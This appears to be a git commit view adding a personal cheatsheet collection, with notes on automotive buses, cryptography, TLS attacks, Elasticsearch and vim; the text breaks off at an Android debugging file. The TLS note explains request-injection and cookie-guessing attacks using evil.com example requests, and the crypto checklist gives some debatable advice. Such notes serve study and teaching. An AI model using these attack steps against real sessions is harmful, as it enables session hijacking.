Hans Martin 5 năm trước cách đây
commit
72c4076999
61 tập tin đã thay đổi với 3734 bổ sung0 xóa
  1. 32 0
      cheat.sh
  2. 66 0
      cheatsheets/automotive/linbus.md
  3. 53 0
      cheatsheets/automotive/obd2-bt.md
  4. 70 0
      cheatsheets/crypto/crypto-best-practices-checklist.md
  5. 114 0
      cheatsheets/crypto/crypto_cves.md
  6. 47 0
      cheatsheets/crypto/feedback-shift-registers.md
  7. 38 0
      cheatsheets/crypto/openssl_commands.md
  8. 41 0
      cheatsheets/crypto/pkcs.md
  9. 8 0
      cheatsheets/crypto/prng.md
  10. 169 0
      cheatsheets/crypto/tls_attacks.md
  11. 10 0
      cheatsheets/datascience/data-science-at-the-commandline.md
  12. 164 0
      cheatsheets/datascience/elasticsearch.md
  13. 9 0
      cheatsheets/misc/git.md
  14. 39 0
      cheatsheets/misc/vim.md
  15. 41 0
      cheatsheets/mobile/GSM.md
  16. 40 0
      cheatsheets/mobile/android-debugging.md
  17. 60 0
      cheatsheets/mobile/android-remount-rw-alternative.md
  18. 38 0
      cheatsheets/mobile/android_audit.md
  19. 93 0
      cheatsheets/networking/WEP.md
  20. 29 0
      cheatsheets/networking/redirecting_packets.md
  21. 74 0
      cheatsheets/networking/vlans.md
  22. 46 0
      cheatsheets/security/exploitation/formatstring.md
  23. 55 0
      cheatsheets/security/exploitation/radare2.md
  24. 49 0
      cheatsheets/security/exploitation/shellcode.md
  25. 38 0
      cheatsheets/security/malware/COM.md
  26. 7 0
      cheatsheets/security/malware/anti-debugging.md
  27. 57 0
      cheatsheets/security/malware/createmutex.md
  28. 47 0
      cheatsheets/security/malware/createthread.md
  29. 5 0
      cheatsheets/security/malware/maliciouswindowsfunctions.md
  30. 295 0
      cheatsheets/security/malware/malware_launching.md
  31. 32 0
      cheatsheets/security/malware/persistence.md
  32. 46 0
      cheatsheets/security/malware/services.md
  33. 29 0
      cheatsheets/security/malware/structured_exception_handling.md
  34. 49 0
      cheatsheets/security/pentesting/http_security_headers.md
  35. 111 0
      cheatsheets/security/pentesting/metasploit.md
  36. 76 0
      cheatsheets/security/pentesting/recon-ng.md
  37. 65 0
      cheatsheets/security/pentesting/tools.md
  38. 173 0
      cheatsheets/security/reversing/anti_disassembly.md
  39. 101 0
      cheatsheets/security/reversing/anti_virtualmachine.md
  40. 56 0
      cheatsheets/security/reversing/calling_conventions.md
  41. 24 0
      cheatsheets/security/reversing/reverse-engineering-web-assembly.md
  42. 34 0
      cheatsheets/security/source-code-audit/debugging-java-thick-clients.md
  43. 44 0
      cheatsheets/security/web/php_type_juggling.md
  44. 128 0
      cheatsheets/security/web/php_vulnerabilities.md
  45. 138 0
      cheatsheets/security/web/sql-injection.md
  46. 24 0
      cheatsheets/security/windows/domain-portscanning.md
  47. 20 0
      cheatsheets/security/windows/kerberos-attacks.md
  48. 66 0
      cheatsheets/security/windows/lateral_movement.md
  49. 30 0
      cheatsheets/security/windows/malicious-dll.md
  50. 12 0
      cheatsheets/security/windows/mimikatz.md
  51. 18 0
      cheatsheets/security/windows/ntlm-relaying.md
  52. 45 0
      cheatsheets/security/windows/powershell.md
  53. 111 0
      cheatsheets/security/windows/windows-administration.md
  54. 55 0
      cheatsheets/security/windows/windows-local-privilege-escalation_schedtask.md
  55. 69 0
      cheatsheets/security/windows/windows-mof-files.md
  56. 45 0
      cheatsheets/security/windows/windows_privesc.md
  57. 163 0
      cheatsheets/security/windows/windows_privesc_detail.md
  58. 32 0
      cheatsheets/security/windows/wmic.md
  59. 7 0
      cheatsheets/template.md
  60. 39 0
      cheatsheets/workflow/i3-scripts.md
  61. 58 0
      cheatsheets/workflow/notetaking-workflow.md

+ 32 - 0
cheat.sh

@@ -0,0 +1,32 @@
+#!/bin/sh
+
+# Check dependencies
+[ -z "$(which fd 2>/dev/null)" ] && echo "[-] You need fd installed" && exit 1
+[ -z "$(which rg 2>/dev/null)" ] && echo "[-] You need ripgrep (rg) installed" && exit 1
+[ -z "$(which fzf 2>/dev/null)" ] && echo "[-] You need fzf installed" && exit 1
+
+# Set the path to the cheatncheck repo here
+cheatsheets="/home/juan/documents/checkncheat/"
+
+# check if the cheatsheets dir. exists.
+[ ! -d "$cheatsheets" ] && echo "[-] Cheatsheet folder does not exist." && exit 1
+
+# if yes, switch to that dir.
+cd $cheatsheets
+
+if [ $# -eq 0 ] ; then
+    vim -R -c "Goyo 90%" "$(fzf)"
+    exit 1
+fi
+
+# Option Parsin
+while getopts ":glws:p" options ; do
+    case "${options}" in
+        l) fd -t f \.md -x echo {/.} ;;
+        p) echo $cheatsheets ;;
+        w) vim -c "Goyo 90%" "$(fzf)" ;;
+        g) vim -R -c "Goyo 90%" "$(fzf)" -g ;;
+        s) rg "${OPTARG}" ;;
+        *) echo 'Invalid Argument' ;;
+    esac
+done

+ 66 - 0
cheatsheets/automotive/linbus.md

@@ -0,0 +1,66 @@
+---
+title: Linbus
+categories: [cheatsheets]
+tags: [automotive]
+---
+# LIN Bus - Local Interconnect Network
+
+* Version 1.0 was published 1999
+* Used to connect ECU's
+* Master-Slave Principle with up to 16 Slaves
+* Transceiver is based on the UART protocol and LIN only has one cable
+* Baud rate of about 20kBaud (as defined in the standard)
+* Mostly 19.2kBaud are implemented in reality
+* maximum of 40m cable
+
+
+## Basic Connections
+
+* Only the master is able to initiate connections
+* Slaves can only answer to master-requests
+* Master needs to init. the communication between two slaves
+* Messages are send as in the scheduling table defined (in the master)
+
+
+## LIN-Frame
+
+```
+<-----[ Header ]-----> <-----[ Response ]----->
+```
+
+#### Header
+
+* Sync-Break - used for Frame Synchronisation
+* Sync-Field - used for Bit Synchronisation (mostly 0x55)
+* ID         - Unique Identifier (6 bytes + 2 parity bytes)
+
+
+#### Reponse
+
+* Datafield - contains data
+* Checksum  - modulo 256 checksum of the data-field
+
+
+### Special Frames
+
+* Diagnostic Frames are send via Broadcast
+* Event-Triggered Frames: Master asks for a Value, Slave only answers if the value changed.
+  -> If two slaves answer: Buscollision
+  -> Master requests the message with the higher priority first
+
+### Checksums
+
+* The checksum is calculated via a modulo 256 calculation
+* The Carry-Bit is added to the LSB bit of the checksum
+
+#### Example
+```
+  Data | Checksum
+  0x41   0x41
++ 0x55   0x9f
++ 0x93   0x132    // to big, carry bit = 1
+         0x33     // added carrt bit to LSB checksum bit
+         0x12     // inverted the checksum
+
+The Checksum is 0x12 and gets appended to the data.
+```

+ 53 - 0
cheatsheets/automotive/obd2-bt.md

@@ -0,0 +1,53 @@
+---
+title: Connect an OBD2 Adapter via Bluetooth
+categories: [cheatsheets]
+tags: [automotive]
+
+---
+# Connect an OBD2 Adapter via Bluetooth
+
+
+We are using bluetooth to connect a linux machine to an obd2 (ELM 327) adapter.
+
+## Instructions
+
+1. Install the necessary bluetooth dependencies (bluetoothctrl, bluez)
+
+2. Connect to the device using 'bluetoothctl'
+
+```
+> bluetoothctl
+> help
+> scan on
+> devices
+  Device <device-mac>
+> pair <device-mac>
+> trust <device-mac>
+> connect <device-mac>
+```
+
+if the connection is not working and no serial interface is available (e.g. /dev/rfcomm0), use the following command to create the serial interface:
+
+```shell
+rfcomm bind hci0 <mac-addr>
+```
+
+use /dev/rfcomm0 with pyobd:
+
+```python
+import obd
+connection = obd.OBD('/dev/rfcomm0')
+```
+
+
+Have fun!
+
+
+## Resources
+
+```
+https://theksmith.com/software/hack-vehicle-bus-cheap-easy-part-1/
+http://pinoutguide.com/CarElectronics/volkswagen_obd2_pinout.shtml
+https://www.autopi.io/blog/discover-hidden-functions-in-your-car-with-can-bus/
+
+```

+ 70 - 0
cheatsheets/crypto/crypto-best-practices-checklist.md

@@ -0,0 +1,70 @@
+---
+title: Crypto Best Practives Checklist
+categories: [cheatsheets]
+tags: [crypto]
+---
+
+# Crypto Best Practives Checklist
+
+## Asymetric Encryption
+
+**Do**
+
+* [ ]  use libsodium or NaCl
+* [ ]  Use ECC
+* [ ]  if RSA -> RSA-OAEP
+	* [ ] Public Exponent e (> 3)
+	* [ ] >= 2048 bit keysize
+
+
+**Don't**
+
+* [ ]  Textbook RSA
+* [ ]  RSA with the same pubkey (forward secrecy)
+* [ ]  RSA PKCS#1.5
+
+
+## Symmetric Encryption
+
+**Do**
+
+* [ ]  Keysize > 128
+* [ ]  AES-GCM
+* [ ]  ChaCha20-Poly1305
+
+**Don't**
+
+* [ ]  AES-CBC, AES-CTR
+* [ ]  OFB Mode
+* [ ]  64 Bit Blocksize Ciphers
+
+
+## Hashes
+
+**Do**
+
+* [ ]  SHA-3 >= 256 Bit
+* [ ]  SHA-2 >= 256 Bit
+* [ ]  BLAKE2
+
+
+**Don't**
+
+* [ ]  SHA-1
+* [ ]  Hashes with 128 bit length
+* [ ]  MD5
+
+
+## Password Hashing
+
+**Do**
+
+* [ ]  scrypt !important - use the right parameter
+* [ ]  bcrypt with following format: brypt(base64(sha-512(password)))
+* [ ]  PBKDF2
+
+**Don't**
+
+* [ ]  Hash-only (MD5, SHA-X)
+* [ ]  Any encryption algorithm
+

+ 114 - 0
cheatsheets/crypto/crypto_cves.md

@@ -0,0 +1,114 @@
+---
+title: List of Cryptographic Vulnerabilities [2016-2018]
+categories: [cheatsheets]
+tags: [crypto]
+---
+
+# Crypto CVEs
+
+A list of cryptography based vulnerabilities. Only vulnerabilities where the impact is also affecting a
+cryptographic component are listed. For Example, no memory corruptions issued with DoS, .., is listed.
+
+
+* hash: problems concerning hash function usage
+* code/cry: problems concerning crypto implementations (parameter choice, wrong protokoll implementation, ..)
+* code/mem: memory corruption bugs on implemented crypto functions
+
+
+## 2018
+
+```
+| cve           | product                       | type      | description
+---
+CVE-2018-9233   | Sophos Endpoint Protection    | hash      | unsalted SHA-1
+CVE-2018-6594   | PyCrypto Library              | code/cry  | weak ElGamal Key Parameters
+CVE-2018-5917   | Snapdragon *                  | code/mem  | possible buffer overflow
+CVE-2018-19854  | Linux Kernel                  | code/mem  | crypto_report_one() potential memory leak
+CVE-2018-14619  | Linux Kernel                  | code/mem  | wrong free()
+CVE-2018-16875  | Go crypto x509 lib            | code/mem  | chain verification - possible CPU dos
+CVE-2018-14616  | Linux Kernel                  | code/mem  | null pointer dereference
+CVE-2018-13547  | Providence Crypto Casino      | code/mem  | integer overflow in smart contract
+CVE-2018-13488  | Crypto Alley Shares           | code/mem  | integer overflow in smart contract
+CVE-2018-13210  | Providence Crypto Casino      | code/mem  | integer overflow in smart contract
+CVE-2018-0154   | Cisco ISM-VPN                 | code/mem  | dos condition handling vpn traffic
+CVE-2018-xxxxx  |                               |           |
+```
+
+
+## 2017
+
+```
+CVE-2017-3204   | Golang SSH Library            | code/cry  | No host key verification used by default
+CVE-2017-12870  | SimpleSAMLphp                 | code/cry  | leveraging aesEncrypt and aesDecrypt to simplify Man-in-the-middle attacks
+CVE-2017-0626   | Qualcomm crypto engine        | code/mem  | information disclosure that can lead an attacker to access sensitive information of to elevate privileges
+```
+
+
+## 2016
+
+```
+CVE-2016-6298   | Python jwcrypto.py            | code/cry  | Class lacks random filling protection, this enables an attacker to obtain cleartext data via a "million message attack" (MMA)
+CVE-2016-4711   | Apple iOS CommonCrypt         | code/mem  | uncleared input/output buffer enables attackers to read cleartext data
+CVE-2016-2178   | OpenSSL                       | code/cry  | Does not ensure to properly implement constant-time operations. This can lead to discover the DSA private key via a timing side-channel attack.
+CVE-2016-10466  | Android Qualcomm Snapdragon X | code/cry  | Hardcoded random value is used during the SSL handshake if an error occures in the PRNG
+CVE-2016-0701   | OpenSSL                       | code/cry  | Not ensuring appropriate primes for DH key exchanges makes it easiert for attackers to discover the private DH exponent via multiple handshakes
+```
+
+
+Reference:
+
+https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=crypto
+
+## 2018
+
+```
+| cve           | product                       | type      | description
+---
+CVE-2018-5762   | Unisys ClearPath TLS Module   | code/cry  | ROBOT ~ return of Bleichenbacher Oracle Thread
+CVE-2018-16869  | Nettle                        | code/cry  | Bleichenbacher side-channel padding oracle for PKCS #1 v1.5
+CVE-2018-16868  | GnuTLS                        | code/cry  | Bleichenbacher side-channel padding oracle for PKCS #1 v1.5
+CVE-2018-15836  | Openswan                      | code/cry  | PKCS #1 v1.5 padding is not verified
+CVE-2018-1388   | GSKit V7                      | code/cry  | side channel attack, discrepancy between valid and invalid PKCS #1 padding
+CVE-2018-2879   | Oracle Access Manager         | code/cry  | Authentication bypass, CBC PKCS #7 Padding Oracle
+```
+
+
+## 2017
+
+```
+CVE-2017-17841  | Palo Alto Networks            | code/cry  | ROBOT Attack
+CVE-2017-17428  | Cavium Nitrox SSL, Turbo SSL  | code/cry  | ROBOT Attack
+CVE-2017-17382  | Citrix NetScaler ADC          | code/cry  | ROBOT Attack
+CVE-2017-17305  | Huawei Firewall               | code/cry  | ROBOT Attack
+CVE-2017-14906  | Android Qualcomm Snapdragon X | code/cry  | Missing support of PKCS #7 padding
+CVE-2017-13091  | P1735 IEEE standard           | code/cry  | improperly specified CBC padding, resulting in a padding oracle
+CVE-2017-12973  | Nimbus JOSE+JWT               | code/cry  | improper proceccing of invalid AES-CBC, resulting in a padding oracle attack
+CVE-2017-10668  | OSCI-Transport                | code/cry  | CBC Padding Oracle in OSCI-Transport Library
+CVE-2017-1000385| Erlang otp TLS Server         | code/cry  | Different Error-Types in RSA PKCS #1 1.5 Padding, making it vulnerable to a variantion of the bleichenbacher attack
+```
+
+
+## 2016
+
+```
+CVE-2016-8771   | Botan 1.11                    | code/cry  | RSA-OAEP Padding Oracle via Timing Side Channel, can be used to recover plaintext
+CVE-2016-6606   | phpMyAdmin                    | code/cry  | Cookie decryption (username/password) is vulnerable to a padding oracle attack (AES-CBC)
+CVE-2016-4379   | HP iLO3 TLS implementation    | code/cry  | Invalid MAC protection + cbc padding, resulting in a padding oracle attack
+CVE-2016-4028   | Open-Xchange OX Guard         | code/cry  | Decryption of a auth. token results in a AES-CBC Padding Oracle via different error messages
+CVE-2016-3702   | CloudForms Management Engine  | code/cry  | Padding Oracle Flaw via AES-CBC stored data
+CVE-2016-2107   | AES-NI in OpenSSL             | code/mem  | invalid memory allocation via a padding check, leading to a AES-CBC Padding Oracle Attack an AES-CBC Session
+CVE-2016-1494   | Python-RSA Lib.               | code/cry  | Crafted Signature Padding can lead to spooed signatures via BERserk Attack
+CVE-2016-10469  | Android Qualcomm Snapdragon X | code/cry  | incorrect implementation of RSA padding functions
+CVE-2016-1000345| Bouncy Castle JCE Provider    | code/cry  | AES-CBC Padding Oracle via timing side channel
+CVE-2016-0800   | OpenSSL SSL Protocol          | code/cry  | Missing ServerVerify message helps attackers to leveraging a bleichenbacher attack (DROWN attack)
+CVE-2016-0736   | Apache HTTP Server            | code/cry  | mod_session_crypto encrypting sessions with AES_CBC which is vulnerable to a padding oracle attack
+CVE-2016-0704   | OpenSSL SSLv2 implementation  | code/mem  | overwrites wrong MASTER-KEY, resulting in the possibility to leverage bleichenbacher padding oracle attacks
+CVE-2016-0703   | OpenSSL SSLv2 implementation  | code/mem  | Accepting a non-zero CLIENT-MASTER-KEY which allows a Mitm Attacker to leverage a bleichenbacher padding oracle attack
+```
+
+
+Reference:
+
+https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=padding
+
+**Currently a total of 47 vulnerabilities (2016 - 2018)**

+ 47 - 0
cheatsheets/crypto/feedback-shift-registers.md

@@ -0,0 +1,47 @@
+---
+title: Feedback Shift Registers
+categories: [cheatsheets]
+tags: [crypto]
+---
+## Feedback Shift Registers (FSR)
+
+used in stream ciphers to generate a (random) stream of bits.
+
+
+have an "array" of bits, which is state (R). And there is an update function
+which changes the state f(R).
+
+```
+R(t+1) = R(t) << 1 | f(R(t))
+```
+
+The Bit, which is shifted out ( << 1) is the output bit for the keystream)
+
+
+## Linear Feedback Shift Registers (LFSR)
+
+A FSR is Linear if the update function f() is linear. eg. Xoring the bits in the array.
+
+a (L)FSR needs to have at least a period of 2^n-1. -1 because the state: 0 always stays zero. To get the maximal period, the feedback polynomial (basically f()) needs to be primitive.
+
+Linear FSR are cryptographically weak! (because they are linear!)
+
+Result: filtered LFSR
+
+-> adding a nonlinear function g()
+
+
+Still not 100% secure, following attacks are available for filtered LFSR:
+
+* Algebraic Attacks
+* Cube Attacks
+* Fast correlation attacks
+
+Hardware Algorithms: Grain-128a and A5/1
+
+
+
+
+
+
+

+ 38 - 0
cheatsheets/crypto/openssl_commands.md

@@ -0,0 +1,38 @@
+---
+title: Openssl Command Cheatsheet
+categories: [cheatsheets]
+tags: [crypto]
+---
+# Openssl cheatsheet
+
+
+## View Certificate File (x509):
+
+```
+openssl x509 -pubkey -noout -in <file>
+```
+
+## View Public Key File:
+
+```
+openssl rsa -noout -text -pubin < key.pub
+```
+
+## View Private Key File:
+
+```
+openssl rsa -noout -text -in key.pub
+```
+
+## Generate Private Key:
+
+```
+openssl genrsa -out server.key 4096
+```
+
+## Decrypt File using RSA Private Key
+
+```
+openssl rsautl -decrypt -inkey pkey.pem -in flag.enc -out out.dec
+```
+

+ 41 - 0
cheatsheets/crypto/pkcs.md

@@ -0,0 +1,41 @@
+---
+title: PKCS - Public Key Cryptography Standards
+categories: [cheatsheets]
+tags: [crypto]
+---
+# Overview Public Key Cryptography Standards
+
+## PKCS #1
+
+RSA Encryption. Version 1.5, November 1993.
+
+Version 2.0: (PKCS #1 v1.5 is specified here)
+
+RFC: https://tools.ietf.org/html/rfc2437
+
+Version 2.1:
+
+RFC: https://tools.ietf.org/html/rfc3447
+
+
+
+## PKCS #5
+Password-Based Cryptography Specification, Version 2.1, January  2017.
+
+RFC: https://tools.ietf.org/html/rfc8018
+
+## PKCS #6
+Extended-Certificate Syntax. Version 1.5, November 1993.
+
+
+## PKCS #7
+Cryptographic Message Syntax (CMS).
+* including Byte-Padding (#section-6.3)
+
+RFC: https://tools.ietf.org/html/rfc5652
+
+
+## PKCS #9
+Selected Attribute Types. Version 1.1, November 1993.
+
+RFC: https://tools.ietf.org/html/rfc2985

+ 8 - 0
cheatsheets/crypto/prng.md

@@ -0,0 +1,8 @@
+---
+title: prng.md
+categories: [cheatsheets]
+---
+# Cryptography: PRNG
+
+
+

+ 169 - 0
cheatsheets/crypto/tls_attacks.md

@@ -0,0 +1,169 @@
+---
+title: Attacks on SSL/TLS
+categories: [cheatsheets]
+tags: [crypto]
+---
+# Implementation Attacks
+
+## Heartbleed
+
+* Bug in OpenSSL 1.0.1 (CVE-2014-0160)
+
+Bug in the Heartbeat Function (TLS Extension) of OpenSSL
+Size Field of the Heartbeat Message is not checked, an attacker can therefor read 64kb of process memory from the server (with one heartbeat message)
+-> can leak the private key, session tokens, passwords...
+
+
+## FREAK - Factoring RSA Export Keys
+
+* Bug in OpenSSL (CVE-2015-0204)
+
+This Bug needs the Server to use export ciphers and to reuse the downgraded RSA 512 Bit Keys. And the Client needs the vulnerable OpenSSL Version.
+in the 90s Export Keys where max 40 bit for sym. ciphers and 512 bit for asym. ciphers. And because RSA was also used for authentication AND for the encryption, you needed to split that up (strong auth. was allowed).
+Therefor before the key exchange, the server was generating new and weak RSA keys, they were signed by the strong certificate and send to the CLIENT (via ServerKeyExchange Message). The CLIENT used this to encrypt the PREMASTER SECRET.
+This function should not be used at a normal RSA Key Exchange, but if an Server sends a ServerKeyExchange Paket anyway, a vulnerable Client happily accepts it. Thus making the Key Exchange with a 512Bit Key :(
+
+**Was is the attacker changing:**
+
+a) Change the ClientHello to only offer Export Cipher Suites to the server
+
+b) Change the ServerHello to a fitting RSA Cipher Suite that the Client can Accept (no ServerKeyExchange on a RSA Suite)
+
+c) The finished Message containing a valid MAC over all Handshake messages
+
+
+**This ServerKeyExchange two major problems:**
+
+1) The injected Signature must be signed by the strong Key
+
+2) Finished Paket contains a MAC of all Handshake messages
+
+**To overcome 1:**
+
+Make a own request to the server with only export ciphers, replaying this exact paket.
+
+-> Another problem: random 64bit in the Client/ServerHello? Wait for a Client to connect, and use this 64bit random value in the own Request
+
+**To overcome 2:**
+
+Bruteforce the 512 Bit RSA Key in realtime to pass a valid MAC to the Server/Client
+
+-> Needs a shitton of resources
+Or: Hope the server is reusing the key for some period (saving cpu resources). Must be long enough to break key. (Online Cloud Computation to break key: 7h and 100$)
+
+
+# Downgrade Attacks
+
+later alligator
+
+
+# Protocol Attacks
+
+## Insecure renegotiation (found in 2009)
+This happens when a client does not support secure renegotiation.
+An attacker can intercept a victims TLS Handshake, keep it and send its own Handshake to the server.
+(Attacker acting as a proxy)
+Then the attacker can send arbitrary requests to the server
+```
+GET /evil.php
+Dummy:
+```
+then, the victims handshake is send to the server, using the same TCP connection. The server interprets this as
+a client-initiated renegotiation. An encrypted channel is opened between vicitm and server, via the attacker.
+The victims sends a new request:
+```
+GET /good.php
+Cookie: very-secure-cookie
+```
+Because the application knows nothing about the underlying TLS stuff, the two data parts are treated as one:
+```
+GET /evil.php
+Dummy: GET /good.php
+Cookie: very-secure-cookie
+```
+This attack can be used for all-kinds of stuff, e.g. bypassing authentication (using the victims session cookies)
+
+
+### Mitigation
+Secure renegotiation via RFC 5746 (Renegotiation Indication Extension)
+
+- https://tools.ietf.org/html/rfc5746
+
+
+## BEAST (found in 2011)
+
+* TODO
+
+## CRIME (+TIME & BREACH) (found 2011)
+
+* All three are Attacks against the compression in TLS (or even HTTP).
+
+The way compression works: if something occurs multiple times -> gets replaced by a reference to an earlier occurance.
+This can be abused by guessting (eg. HTTP Cookie). Use the guessed cookie in the request. If the cookie is in the request
+a second time, the compressed size is smaller (-> guess is correct). if the size is larger, a wrong guess was made.
+
+Example Attack:
+
+1. Used must browse on good.com and http://evil.com
+2. JS/Html is used to request evil.com from good.com (```<img src=evil.com/<custom>```)
+3. Guess single Bytes of the Cookie
+4. Attacker is in the network (mitm) and observes the response size of evil.com
+6. ~7 guesses per Byte
+
+```
+GET evil.com/Cookie: PHPSESSID=<guess>
+Cookie: PHPSESSID=UNASMNSDJGBKASDB
+```
+
+
+
+## Lucky13 (found in 2013)
+Padding oracle attack against CBC Ciphersuites.
+Early TLS: decryption_failed error when having a wrong padding & bad_record_mac for wrong authentication.
+Now: Timing differences between wrong padding & wrong mac. this leads to a padding oracle.
+Can recover plaintext pairs of a request (approx. 8m requests for 16 Byte)
+Problem: After Every (wrong) Guess, a new TLS Handshake must be established! (time consuming...)
+Multiple variants with increasing successrates. Eg. one byte at a known  position (last- or second-last bye) reduces the
+number of request to about 2**16!
+
+=> Every TLS implementation (1.0, 1.1, 1.2) is vulnerable to this attack!
+
+### Mitigation
+Dont use CBC Cipher Suits! (Padding Oracles are a general problem)
+Remove possible timing-oracles by calculating a dummy MAC, even when the padding is wrong (-> no oracle)
+
+
+
+## RC4 Stuff (found in XXXX)
+
+### Key Scheduling Weakness
+A small part of the input key influences a greater part of the keystream. So if a part of the key is reused, an attacker can
+uncover parts of the keystream (parts of known plaintext), these parts can then be uncovered at the same place in all keystreams.
+
+* this is how WEP was broken!
+* NOT a Problem of TLS (its using a new key for each connection)
+
+### Single-Byte Biases
+The Second Byte in the RC4 keystream is biased towards zero (1/128 instead of 1/256). this means, that the second byte is much more often zero as it should be. therefor the ciphertext @byte 2 is often "unencrypted" (C xor P) if C = 0; -> 0 xor P = P
+
+Needs a lot of data, and always the same data at the same position. NOT usable against TLS
+
+Later research showed, that with enough samples (~2^32) the first 256 bytes have biases that can be revealed. with that 2^32 samples the success rate is almost 100%.
+More theoretical and not really practical attack. too many connections needed + often cookies/passwords are stored after the 220 byte mark.
+
+### double-byte biases
+Also double-byte biases are found in RC4, this means that some 2 byte combinations occur more often that others. this attack needs less messages as the single-byte bias attack, but is still unpracticle. one advantage is that it doest needs a new connection for every now biases message. ~3.25TB of connection data is needed to have a practicle attack.
+
+
+## TIME (found in XXXX)
+
+
+## BREACH (found in XXXX)
+
+
+## Triple HS (found in XXXX)
+
+
+## POODLE (found in XXXX)
+
+## ROBOT (Return Of Bleichenbacher Oracle Threat)

+ 10 - 0
cheatsheets/datascience/data-science-at-the-commandline.md

@@ -0,0 +1,10 @@
+---
+title: Data Science at the commandline
+categories: [cheatsheets]
+tags: [datascience]
+---
+
+# Data Science at the commandline
+
+Book Ref:
+[Book Reference](https://www.datascienceatthecommandline.com/)

+ 164 - 0
cheatsheets/datascience/elasticsearch.md

@@ -0,0 +1,164 @@
+---
+title: Elasticsearch Summary
+categories: [cheatsheets]
+tags: [data]
+---
+
+# Elasticsearch Summary
+
+
+A good resource on getting started with elasticsearch is the official [Documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/getting-started.html)
+
+## Terminology
+
+###  Cluster
+
+Collection of one or mode nodes (servers). Default Name: elasticsearch.
+Data can be distributed to multiple clusters.
+
+
+### Node
+
+Single server in the cluster. Identified by its name (aka UUID).
+Default: the default node is joined the elasticsearch cluster
+
+
+### Index
+
+Collection of documents with similar characteristics. (Comparable to a table in a DB)
+Indizes are identified by a uniqe name.
+
+
+### Document
+
+Basic unit of information that can be indexed. Documents are expressed in JSON.
+
+
+### Shards & Replicas
+
+Indizes can be subdivided into multiple peaces called "shards".
+This is for example needed of the documents in the index are taking up too much space.
+A shard is a fully-functional & independent "index"
+
+
+## Configuration and Settings
+
+* Default Port: 9200 (REST API)
+* Default Clustername: elasticsearch
+* Settings in config/elasticsearch.yml
+* Basic URL: http://localhost:9200/index/Endpoint/?function
+
+### API: Getting Information
+
+* Information about the Master
+
+```
+GET http://localhost:9200/_cat/master
+```
+
+* Information about the Nodes
+
+```
+GET http://localhost:9200/_cat/nodes
+```
+
+* Information about the Indices
+
+```
+GET http://localhost:9200/_cat/indices
+```
+
+* Document Count
+
+```
+GET http://localhost:9200/_cat/count/<index>/
+```
+* Cluster Health
+
+    Green - everything is good (cluster is fully functional)
+
+    Yellow - all data is available but some replicas are not yet allocated (cluster is fully functional)
+
+    Red - some data is not available for whatever reason (cluster is partially functional)
+
+```
+GET http://localhost:9200/_cat/health
+```
+
+## Working with Data
+
+* Creating a new index 'myindex'
+
+```
+PUT http://localhost:9200/myindex?pretty
+```
+
+* Adding a document to the index
+* '1' is the ID of the document (optional)
+    * if no ID is supplied, elasticsearch will autogenerate an ID
+    * if no ID is supplied, the HTTP Method POST instead of PUT must be used!
+```
+PUT http://localhost:9200/myindex/_doc/1?pretty
+{
+    "Name":"Peter"
+}
+```
+
+*  Retrieve that document:
+```
+GET http://localhost:9200/myindex/_doc/1?pretty
+```
+
+*  Delte that document:
+```
+DELTE http://localhost:9200/myindex/_doc/1?pretty
+```
+
+* Bulk Actions
+    * Again, no ID must be supplied when using the _bulk API: ({"index":{}})
+
+```
+POST http://localhost:9200/myindex/_bulk?pretty
+{"index":{"_id":"1"}}
+{"name": "John Doe" }
+{"index":{"_id":"2"}}
+{"name": "Jane Doe" }
+```
+
+
+
+## Searching
+
+The search functionality is available through the _search endpoint.
+
+### Simple Search
+
+Simple sarchers can be done by using the query variable via the request URL.
+An easy search would be:
+
+```
+GET /myindex/_search?q=searchterm
+```
+
+the results can also be sorted by using the sort parameter:
+
+```
+GET /myindex/_search?q=searchterm?sort=name:asc?pretty
+```
+
+### Advanced Search
+
+A more detailed and in-depth search can be done by submitting the query via the request body. The format of the query is as follows:
+
+```
+GET /myindex/_search
+{
+    "query": {"match":{"name":"searchforthisname"}},
+    "sort": [
+        {"name":"asc"}
+    ]
+}
+```
+
+More Details can be found [here](https://www.elastic.co/guide/en/elasticsearch/reference/current/getting-started-search-API.html)
+

+ 9 - 0
cheatsheets/misc/git.md

@@ -0,0 +1,9 @@
+---
+title: Publish Git repo via HTTP
+categories: [cheatsheets]
+tags: [topic]
+---
+
+# Publish Git repo via HTTP
+
+Reference: [Bluishcoder.co.nz](https://bluishcoder.co.nz/2007/09/22/how-to-publish-git-repository.html)

+ 39 - 0
cheatsheets/misc/vim.md

@@ -0,0 +1,39 @@
+---
+title: Vim
+categories: [cheatsheets]
+---
+
+# Vim Cheatsheet
+
+## paste from clipboard
+insert> Ctr+R+
+
+## indent
+visual> v=
+
+
+## undo and redo
+normal> u           // u for undo
+normal> Ctr+r       // redo previously undone change
+normal> Ctr+R       // undo the undos
+
+
+## Buffers
+vim> ls             // list buffers
+vim> bdelete <bn>   // delete buffer bn=buffer name oder buffer number
+vim> badd fl.txt    // add a new buffer for fl.txt
+vim> b4             // set hlsearchchoose buffer 4
+
+
+## Splitting
+vim> :spl            // split
+vim> :vsplit         // vertical split
+normal> Ctr-<HJKL>   // change selected split
+normal> Ctr-W=       // layout all panes to equal size
+
+
+## TPope Surround
+normal> ysiw" ysiw( ysiw) ysiw'     // surround word by ")
+normal> ds"                         // delete surrounding
+
+visual>S <div>                      // replaces the selected with correct html tags

+ 41 - 0
cheatsheets/mobile/GSM.md

@@ -0,0 +1,41 @@
+---
+title: Global System for Mobile Communication (GSM)
+categories: [cheatsheets]
+tags: [mobile]
+---
+
+# Global System for Mobile Communication (GSM)
+
+Worldwide standard for mobile Communication.
+
+Glossary:
+
+* AuC = Authentication Center
+* BSS = Base Station Sub-System
+* BSC = Base Station Controller
+* BTS = Base Transiever Station
+* IMSI = International Mobile Subscriber Identification
+* MSISDN = Mobile Subscriber International ISDN Number
+* SIM = Subscriber Identitiy Module
+
+# Architecture
+
+Authentication works with a Challenge-Response Protocoll.
+
+Authentication Vector: (Ri, SRES*i, Kbsc,msi)
+
+Beeing:
+
+* Ri - from the AuC choosen random number
+* SRES*i = A3(Ri, Kms)  (Signed Response)
+* Kms - Authentication key (saved in the SIM)
+* Kbsc,msi - Session Key after successfull authentication
+* Kbsc,msi = A8(Ri, Kms)
+
+A3() and A8() are cryptographically secure hash functions
+
+More about the authentication:
+
+* http://www.teletopix.org/gsm/how-authentication-center-auc-works-in-gsm/
+
+

+ 40 - 0
cheatsheets/mobile/android-debugging.md

@@ -0,0 +1,40 @@
+---
+title: Frida & R2Frida
